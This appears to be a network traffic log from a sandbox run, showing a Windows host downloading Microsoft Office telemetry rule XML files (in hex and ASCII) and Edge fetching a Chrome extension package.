2024-11-12 09:37:23 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 71d80149-801e-0083-3cb0-34f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093723Z-15869dbbcc6qwghvhC1DFWw7e800000000w000000000062x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ea775dbe-901e-0016-4f03-2defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093723Z-16547b76f7f7lhvnhC1DFWa2k00000000ff00000000001hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:24 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093724Z-16547b76f7fnlcwwhC1DFWz6gw0000000ffg00000000b8t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:24 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:24 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e9278802-001e-002b-42a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093724Z-15869dbbcc6j87jfhC1DFWr0yc00000007rg000000006dag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:24 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:24 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093724Z-16547b76f7f4k79zhC1DFWu9y00000000fm00000000014fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:24 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 898dd9bc-901e-0048-53d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093724Z-16547b76f7flf9g6hC1DFWmcx800000005wg00000000crw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:24 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ff96e4fc-901e-00ac-66a2-34b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093724Z-15869dbbcc6qwghvhC1DFWw7e800000000vg000000000yxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:25 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093725Z-16547b76f7f8dwtrhC1DFWd1zn0000000fng0000000021ra x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:25 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 8b3a9967-c01e-0034-76a0-342af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093725Z-17df447cdb5jg4kthC1DFWux4n0000000bpg00000000c0tn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2170b64b-701e-001e-68a1-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093725Z-17df447cdb5g2j9ghC1DFWuyag0000000610000000003c71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:25 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:25 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093725Z-16547b76f7f4k79zhC1DFWu9y00000000fd000000000c60t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:25 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49824	142.250.184.225	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:25 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:25 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 47036 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
